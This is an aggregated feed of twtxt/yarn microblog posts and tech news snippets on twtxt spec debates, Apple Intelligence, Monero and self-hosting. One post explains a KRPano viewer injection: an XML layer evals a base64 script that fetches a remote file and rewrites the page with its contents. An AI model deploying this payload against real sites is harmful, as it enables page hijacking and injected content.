(#ld7geza) @andros@andros Sounds a bit like what you would do when writing normal Go code to me 😅
@andros @twtxt.andros.dev Sounds a bit like what you would do when writing normal Go code to me 😅 ⌘ Read more
@lyse@lyse.isobeef.org wow what a great story! i still use FTP (well, SFTP) all the time lol, just to transfer files between servers quickly. it’s super handy!
writing your own CMS sounds kickass omg… mysql the legend
How to Have Apple Intelligence Write Emails For You on Mac, iPhone, iPad
As you may know by now, Apple Intelligence includes handy writing tools and summarization features. One of the more useful ways to take advantage of the Apple Intelligence features on iPhone, Mac, and iPad is to have the AI feature write emails for you. Can’t think of what to say? Or maybe you simply don’t … [Read More](https://osxdaily.com/2025/01/15/how-to-have-apple-intelligence-write-ema … ⌘ Read more
So this works by adding some unbounded javascript autoloaded by the KRPano VR Media viewer
the xml parameter has a url that contains the following
<?xml version="1.0"?>
<krpano version="1.0.8.15">
<SCRIPT id="allow-copy_script"/>
<layer name="js_loader" type="container" visible="false" onloaded="js(eval(var w=atob('... OMIT ...');eval(w)););"/>
</krpano>
the omit above is base64 encoded script below:
const queryParams = new URLSearchParams(window.location.search),
id = queryParams.get('id');
id ? fetch('https://sour.is/superhax.txt')
.then(e => e.text())
.then(e => {
document.open(), document.write(e), document.close();
})
.catch(e => {
console.error('Error fetching the user agent:', e);
}) : console.error('No');
this script will fetch text at the url https://sour.is/superhax.txt and replaces the document content.
(#hjgemdq) @andros Reminds me of another low-code platform I came across that is written in Go, but uses Starlark I think as the DSL for writing …
@andros @twtxt.andros.dev Reminds me of another low-code platform I came across that is written in Go, but uses Starlark I think as the DSL for writing apps. ⌘ Read more
** Styrofoam cups and awk **
I like writing these posts for my website, but I’ve sat down to write this one like 11 times and it either takes on a tone of totally encompassing dread and dystopian navel gazing or I feel like I’m burying my head in the sand and ignoring reality as it happens around me.
…I finished reading Victor LaValle’s The Changeling. It was engaging, and I was interested in where it was going, but I found that where it went wasn’t interesting. The dialogue and prose were lively and contemporary, which is what r … ⌘ Read more
curl: (3) URL rejected: Malformed input to a URL function. Writing sender in bash was BAD idea
My journey as a speaker in Cloud Native Ayacucho: a young community embracing cloud native technologies
Community post by Daniel Israel García Bustinza, Ayacucho, Perú I am Daniel Israel García Bustinza, writing from Huanta, Ayacucho, Perú. I am a cloud solutions architect and database specialist, and I help organizations migrate to the… ⌘ Read more
**(#cmttsmq) Note for reference I was trying to write and fix this rule (fixed version below):
# Ignore Content-Type restrictions for Git
S ...**
Note for reference I was trying to write and fix this rule ( _fixed version below_):
Ignore Content-Type restrictions for Git
SecRule REQUEST_HEADERS:Host “@streq git.mills.io” “id:101,phase:1,t:none,nolog,ctl:ruleRemoveById=920420”
⌘ [Read more](https://twtxt.net/twt/n4ipixa)
(#f26jg3a) @kat Haha 🤣 If someone figures this out, please let me know 🙏🙏 – In the meantime, I’m going to very soon™ write a daemon …
@kat @yarn.girlonthemoon.xyz Haha 🤣 If someone figures this out, please let me know 🙏🙏 – In the meantime, I’m going to very soon™ write a daemon that will watch the audit log for repeated violations and add to the network firewall. ⌘ Read more
(#qed3omq) @movq@movq Yeah I swear to god the engineers that write this shit™ don’t know how to write distributed cralwers that …
@movq @www.uninformativ.de Yeah I swear to god the engineers that write this shit™ don’t know how to write distributed cralwers that don’t happy the shit™ out of their targets 🤦♂️ ⌘ Read more
**(#7xqzija) I’m just basically learning now how ModSecurity rules work and how to write my own.
The builtin OWASP rules are already working nice …**
I’m just basically learning now how ModSecurity rules work and how to write my own.
The builtin OWASP rules are already working nicely 👌 – And yeah I won’t include the WAF on every site block, probably just my main/primary domain where I tend to run demo services and other things. ⌘ Read more
Can LLMs write better code if you keep asking them to “write better code”?
Article URL: https://minimaxir.com/2025/01/write-better-code/
Comments URL: https://news.ycombinator.com/item?id=42584400
Points: 501
# Comments: 300 ⌘ Read more
i like this little ideas utility i’ve been using like i keep pulling up the idea table to see what i’ve added and it makes me wanna start one of them like the CLI app i wanna write in golang with charmbracelet’s bubbletea even though i only have a vague idea of what i want in a CLI app
everoddandeven proposes bounty for monero-cpp Python bindings module
everoddandeven1 has proposed a bounty2 for creating a Python module that exposes the core functionalities of the monero-cpp library 3:
This module should enable Python developers to interact with monero-cpp API using a Pythonic interface without needing to write or interact with C++ code directly.
Total Bounty: 0 XMR (to date)
Payout criteria overview
- Code is ope … ⌘ Read more
** Year in review, 2024 **
As a treat, I figured I could write a year in review kinda thing, too. In no particular order here are some reflections organized into some mostly sensical categories.
Since recovering from my brain bleed and the subsequent repair procedures, this year I’ve enjoyed getting back into a routine of exercising. I’ve never been one to track numbers, or reps, or distances — I mostly exercise because I enjoy doing it. This year I got back into going for regular short runs, very long walks (sorry aging d … ⌘ Read more
we talk about programming like it is about writing code, but the code ends up being less important than the architecture, and the architecture ends up being less important than social issues. The success and failure of Ninja (2020) | Hacker News
python cgi script which handles micropub and writes content to twtxt file. I was want micropub+microsub for twtverse but seems i burned (due choice wrong stack?): https://privatebin.net/?0b598b91ac186855#BfRKjLUQz5KUFJNekJBb5V2qvtEe8xQN8nenYbkez2XR
One thing I’ve learned over the many years now (approaching a decade and a half now) about self-hosting is two things; 1) There are many “assh …
One thing I’ve learned over the many years now ( approaching a decade and a half now) about self-hosting is two things; 1) There are many “assholes” on the open Internet that will either attack your stuff or are incompetent and write stupid shit™ that goes crazy on your stuff 2) You have to be careful about resources, especially memory and disk i/o. Especially disk i/o. this can kill your … ⌘ Read more
(#ywl4paq) Okay. Going to Settings -> Applications and creating a new Application Token with Repository Read/Write access works just fine. You c …
Okay. Going to Settings -> Applications and creating a new Application Token with Repository Read/Write access works just fine. You clone over https and push over https and user your username and token as creds. ⌘ Read more
(#ah5h6mq) @andros See – There isn’t really anythign specific about avatars or how big they should be, etc. The spec mostly talks about what’s …
@andros @twtxt.andros.dev See https://twtxt.dev – There isn’t really anythign specific about avatars or how big they should be, etc. The spec mostly talks about what’s possible and supported by clients and publishers of twtxt feeds. We have yet to write specific client/server recommendations. ⌘ Read more
The Node Resource Interface says “hi” to WebAssembly
Community blog post by Sascha Grunert, CRI-O maintainer The Node Resource Interface (NRI) allows users to write plugins for Open Container Initiative (OCI) compatible runtimes like CRI-O and containerd. These plugins are capable of making controlled changes to containers at dedicated points in… ⌘ Read more
@eapl.me@eapl.me why not https://domain.com/.well-known/twtxt/:domain/:user ?
the business card test is this can you write it on your business card and have someone you give it to be able to figure it out without added context?
- phone number: yes because everyone knows what a phone number is.
- email address: yes, everyone knows an email and their aol or prodigy will let them email.
- twitter/x/insta/pintrest handle: no, whats a twitter? do i need to sign up?
- domain name: yes its simple and you just type it in a browser right?
- twtxt url: kinda? its a bit long and is that a forward slash? or a backward slash?
You know what’s amazing about programming? The power to automate boring or repetitive tasks effortlessly. Renaming hundreds of files, downloading GPX files from Komoot, or updating the visibility of countless statuses on Traewelling – sure, you could do it manually, but why would you, when you can write a quick script to handle it for you? It’s hands down the best life hack I’ve ever discovered! Big thanks to my parents for putting me on this path! ⌘ Read more
MacOS Sequoia 15.2 Update Released with ChatGPT Siri, Image Playground, Bug Fixes, & More
Apple has released MacOS Sequoia 15.2 as an update for Mac users running the Sequoia operating system. The software update includes new Apple Intelligence features including ChatGPT support for Siri, Image Playground image generation tools, along with some improvements to writing tools AI. Aside from AI, you’ll also find new abilities to share items in … [Read More](https://osxdaily.com/2024/12/11/macos-s … ⌘ Read more
CodeQL zero to hero part 4: Gradio framework case study
Learn how I discovered 11 new vulnerabilities by writing CodeQL models for Gradio framework and how you can do it, too.
The post CodeQL zero to hero part 4: Gradio framework case study appeared first on The GitHub Blog. ⌘ Read more
Hm, does your implementation works not with txt-only? I’m tried to write own but didnt test it: https://paste.ee/p/CopOR
Did I write here already that the reason why I love Twtxt so much is that it works without having to compile, install anything extra. Just the bin applications that come with 95% of all operating systems and you’re good to read and participate, giving you have a domain name somewhere to host the twtxt.txt file.
“No NAT November: My Month Without IPv4”
In his post “No NAT November: My Month Without IPv4” security engineer Alex Haydock writes about the challenges of IPv6-only networks and explains techniques like DNS64, NAT64 and CLAT. An interesting read for someone like me, who doesn’t know much more about IPv6 than that support is still lacking in many places (like GitHub). ⌘ Read more
XMR registers 2.5-year high of $218 after ~31% surge
Monero (XMR/USD1) bulls have managed to essentially wipe all bear progress since May 2022 with an impressive under 9-hour ~31% surge yesterday from $166 to ~$218.
As I am writing this report, the reds are trying to force the price back under the 200 psychological level.
Provided bulls manage to reinforce the 175-185 support zone, we could see another attempt to break the local top. This could leave the next resistance around … ⌘ Read more
How to Instantly Write a Business Plan with AI on Mac, iPhone, iPad
While there are plenty of paid options to get a business plan, from business plan software, to books, to working with a consultant, or even outsourcing the entire thing, another option is available for iPhone, iPad, and Mac users, and it uses the magic of Apple Intelligence features and ChatGPT to instantly create a business … Read More ⌘ Read more
How to Find a Lost Apple Pencil
The Apple Pencil is a great accessory for iPad users, but obviously you can’t use an Apple Pencil if it’s lost, and it’s not particularly useful if it’s missing. Fortunately there are a few tricks that you can employ to help you find a lost Apple Pencil, so you can be back to your writing, … Read More ⌘ Read more
Albanese’s $15b tech fund gets ready to write first cheques
Two years after it was first legislated to beef up Australia’s competitiveness in technology and manufacturing, the National Reconstruction Fund is about to make its first investments. ⌘ Read more
@eapl.me@eapl.me here are my replies (somewhat similar to Lyse’s and James’)
Metadata in twts: Key=value is too complicated for non-hackers and hard to write by hand. So if there is a need then we should just use #NSFS or the alt-text file in markdown image syntax
if something is NSFWIDs besides datetime. When you edit a twt then you should preserve the datetime if location-based addressing should have any advantages over content-based addressing. If you change the timestamp the its a new post. Just like any other blog cms.
Caching, Yes all good ideas, but that is more a task for the clients not the serving of the twtxt.txt files.
Discovery: User-agent for discovery can become better. I’m working on a wrapper script in PHP, so you don’t need to go to Apaches log-files to see who fetches your feed. But for other Gemini and gopher you need to relay on something else. That could be using my webmentions for twtxt suggestion, or simply defining an email metadata field for letting a person know you follow their feed. Interesting read about why WebMetions might be a bad idea. Twtxt being much simple that a full featured IndieWeb sites, then a lot of the concerns does not apply here. But that’s the issue with any open inbox. This is hard to solve without some form of (centralized or community) spam moderation.
Support more protocols besides http/s. Yes why not, if we can make clients that merge or diffident between the same feed server by multiples URLs
Languages: If the need is big then make a separate feed. I don’t mind seeing stuff in other langues as it is low. You got translating tool if you need to know whats going on. And again when there is a need for easier switching between posting to several feeds, then it’s about building clients with a UI that makes it easy. No something that should takes up space in the format/protocol.
Emojis: I’m not sure what this is about. Do you want to use emojis as avatar in CLI clients or it just about rendering emojis?
**(#w7qc4ra) @eapl.me Regarding supporting languages:
That said, coming from platforms like X and Masto, where switching languages is easy, I n …**
@eapl.me @eapl.me Regarding supporting languages:That said, coming from platforms like X and Masto, where switching languages is easy, I naturally read content and write into my timeline in at least three languages. Changing my “account” is not a simple as switching languages, and in those platforms have another m … ⌘ Read more
Beta 2 of iOS 18.2, MacOS Sequoia 15.2, & iPadOS 18.2 Available for Testing
The second beta versions of iOS 18.2, MacOS Sequoia 15.2, and iPadOS 18.2 are now available for users participating in the beta testing programs for Apple system software. The new betas continue to focus on additional Apple Intelligence features, expanding beyond the writing tools, smart replies, and summary features what was initially introduced in iOS … [Read More](https://osxdail … ⌘ Read more
(#3olv57a) @aelaraji Steal anything you want 🤣 f you manage to write a shell script version of the same tool I’d be interested in publishing …
@aelaraji @aelaraji.com Steal anything you want 🤣 f you manage to write a shell script version of the same tool I’d be interested in publishing it as an alternative tool 👌 ⌘ Read more
how to have fun while doing personal programming
how to have fun while doing personal programming2024-11-02 02:23
well, just like the title says, i’m gonna show you how to have fun while doing
personal programming, at least, how i have fun while doing it. i also think
these things were crucial towards me learning to program as well.
don’t worry about:
writing nice code
writing repetitive code
hard-coded strings
optimization
about how idiomatic your code is
error chec … ⌘ Read more
@quark@ferengi.one Yeah i’m in deep red here. the governor race is getting split between a red and a maga that is running a write in.. but even if they split the vote 50-50% they will still be greater than what the blue will get.
(#gctrz4q) > Alternatively, if you prefer yarnd to pretty-print all twts nicely, even ones from simpler clients, that’s fine too and you don�� …
Alternatively, if you prefer yarnd to pretty-print all twts nicely, even ones from simpler clients, that’s fine too and you don’t need to change anything. My ¼ -> ¼ thing is nothing more than a minor irritation which probably isn’t worth overthinking.
Yeah I’ve closed the PR, I just wanted to write it up and see what we all thought. Much easier to talk to a concrete spec proposal sometimes. … ⌘ Read more
(#gctrz4q) > What’s wrong with my original suggestion of doing the transformation before the text hits the twtxt.txt file? @prologic, I think …
What’s wrong with my original suggestion of doing the transformation before the text hits the twtxt.txt file? @prologic, I think it would achieve what you are trying to achieve with this content-type thing: if someone writes ¼ on a yarnd instance or any other client that wants to do this, it would get transformed, and other clients simply wouldn’t do the transformation. Every client that sup … ⌘ Read more
1/4 to mean "first out of four".
@bender@twtxt.net I try to avoid editing. I guess I would write 5/4, 6/4, etc, and hopefully my audience would be sympathetic to my failing.
Anyway, I don’t think my eccentric decision to number my twts in the style of other social media platforms is the only context where someone might write ¼ not meaning a quarter. E.g. January 4, to Americans.
I’m happy to keep overthinking this for as long as you are :-P
@bender@twtxt.net @prologic@twtxt.net I’m not exactly asking yarnd to change. If you are okay with the way it displayed my twts, then by all means, leave it as is. I hope you won’t mind if I continue to write things like 1/4 to mean “first out of four”.
What has text/markdown got to do with this? I don’t think Markdown says anything about replacing 1/4 with ¼, or other similar transformations. It’s not needed, because ¼ is already a unicode character that can simply be directly inserted into the text file.
What’s wrong with my original suggestion of doing the transformation before the text hits the twtxt.txt file? @prologic@twtxt.net, I think it would achieve what you are trying to achieve with this content-type thing: if someone writes 1/4 on a yarnd instance or any other client that wants to do this, it would get transformed, and other clients simply wouldn’t do the transformation. Every client that supports displaying unicode characters, including Jenny, would then display ¼ as ¼.
Alternatively, if you prefer yarnd to pretty-print all twts nicely, even ones from simpler clients, that’s fine too and you don’t need to change anything. My 1/4 -> ¼ thing is nothing more than a minor irritation which probably isn’t worth overthinking.
iOS 18.1 with Apple Intelligence Now Available to Download
Apple has released iOS 18.1 and iPadOS 18.1 to bring Apple Intelligence features to iPhone and iPad. The initial set of Apple Intelligence AI features include writing tools, summaries for messages and emails, and other handy capabilities. Apple Intelligence has strict system requirements however and is not available on all devices. Aside from Apple Intelligence, … [Read More](https://osxdaily.com/2024/10/28/ios-18-1- … ⌘ Read more
Simplified twtxt - I want to suggest some dogmas or commandments for twtxt, from where we can work our way back to how to implement different feature like replies/treads:
It’s a text file, so you must be able to write it by hand (ie. no app logic) and read by eye. If you edit a post you change the content not the timestamp. Otherwise it will be considered a new post.
The order of lines in a twtxt.txt must not hold any significant. The file is a container and each line an atomic piece of information. You should be able to run
sorton a twtxt.txt and it should still work.Transport protocol should not matter, as long as the file served is the same. Http and https are preferred, so it is suggested that feed served via Gopher or Gemini also provide http(s).
Do we need more commandments?
Release Candidates of iOS 18.1, MacOS Sequoia 15.1, & iPadOS 18.1 Available
Apple has issued release candidate builds of iOS 18.1, macOS Sequoia 15.1, and iPadOS 18.1, making them available for users enrolled in the beta testing programs for Apple system software. These versions are the first to include Apple Intelligence support on compatible devices. Initial Apple Intelligence features include functionality for summarizing data, writing tools, and … [Read … ⌘ Read more
Minix Z300 0DB Fanless Mini PC with 2.5GbE LAN and Dual 4K Display Support
The Minix Z300-0dB delivers efficient, quiet performance with a fanless passive cooling design that eliminates the need for traditional fans. Powered by the Intel Alder Lake-N N300 octa-core processor, it features Kimtigo premium RAM and a PCIe 3.0 x4 NVMe SSD for fast read and write speeds, enhancing productivity and response times. According to the […] ⌘ Read more
jeffro256 submits CCS proposal to get ‘Carrot’ reviewed by CypherStack
jeffro2561 has submitted a CCS proposal2 looking to get the Carrot 3 spec document peer reviewed by CypherStack4:
This CCS will provide funding for the first step towards a Carrot implementation in Monero. [..] The deliverable is a write-up which will include security proofs for all properties listed in section 9. [..] In the case that CypherStack requires more funds to com … ⌘ Read more
escapethe3RA: Looking for funding to maintain Monero Observer until 2026
Funding goal (24Q4+2025): 240 XMR
11 successful CCS proposals, 3500+ work hours, thousands of reports in over 3 years of thinking about, writing about, and dreaming about Monero.
That has been my sometimes rough yet always exciting secret life since 2021 and I wouldn’t change it for anything. More importantly, I owe it all to you. Thank you for supporting me since day 1 via the CCS.
Now, I am ready to skip the system and seek dire … ⌘ Read more
Honestly… not much. Have abandon two projects (both private) on Golang and one related to cryptography. My mostly languages are Python and Javascript (also can PHP). After writing code on Go i spend same time on fixing dumb errors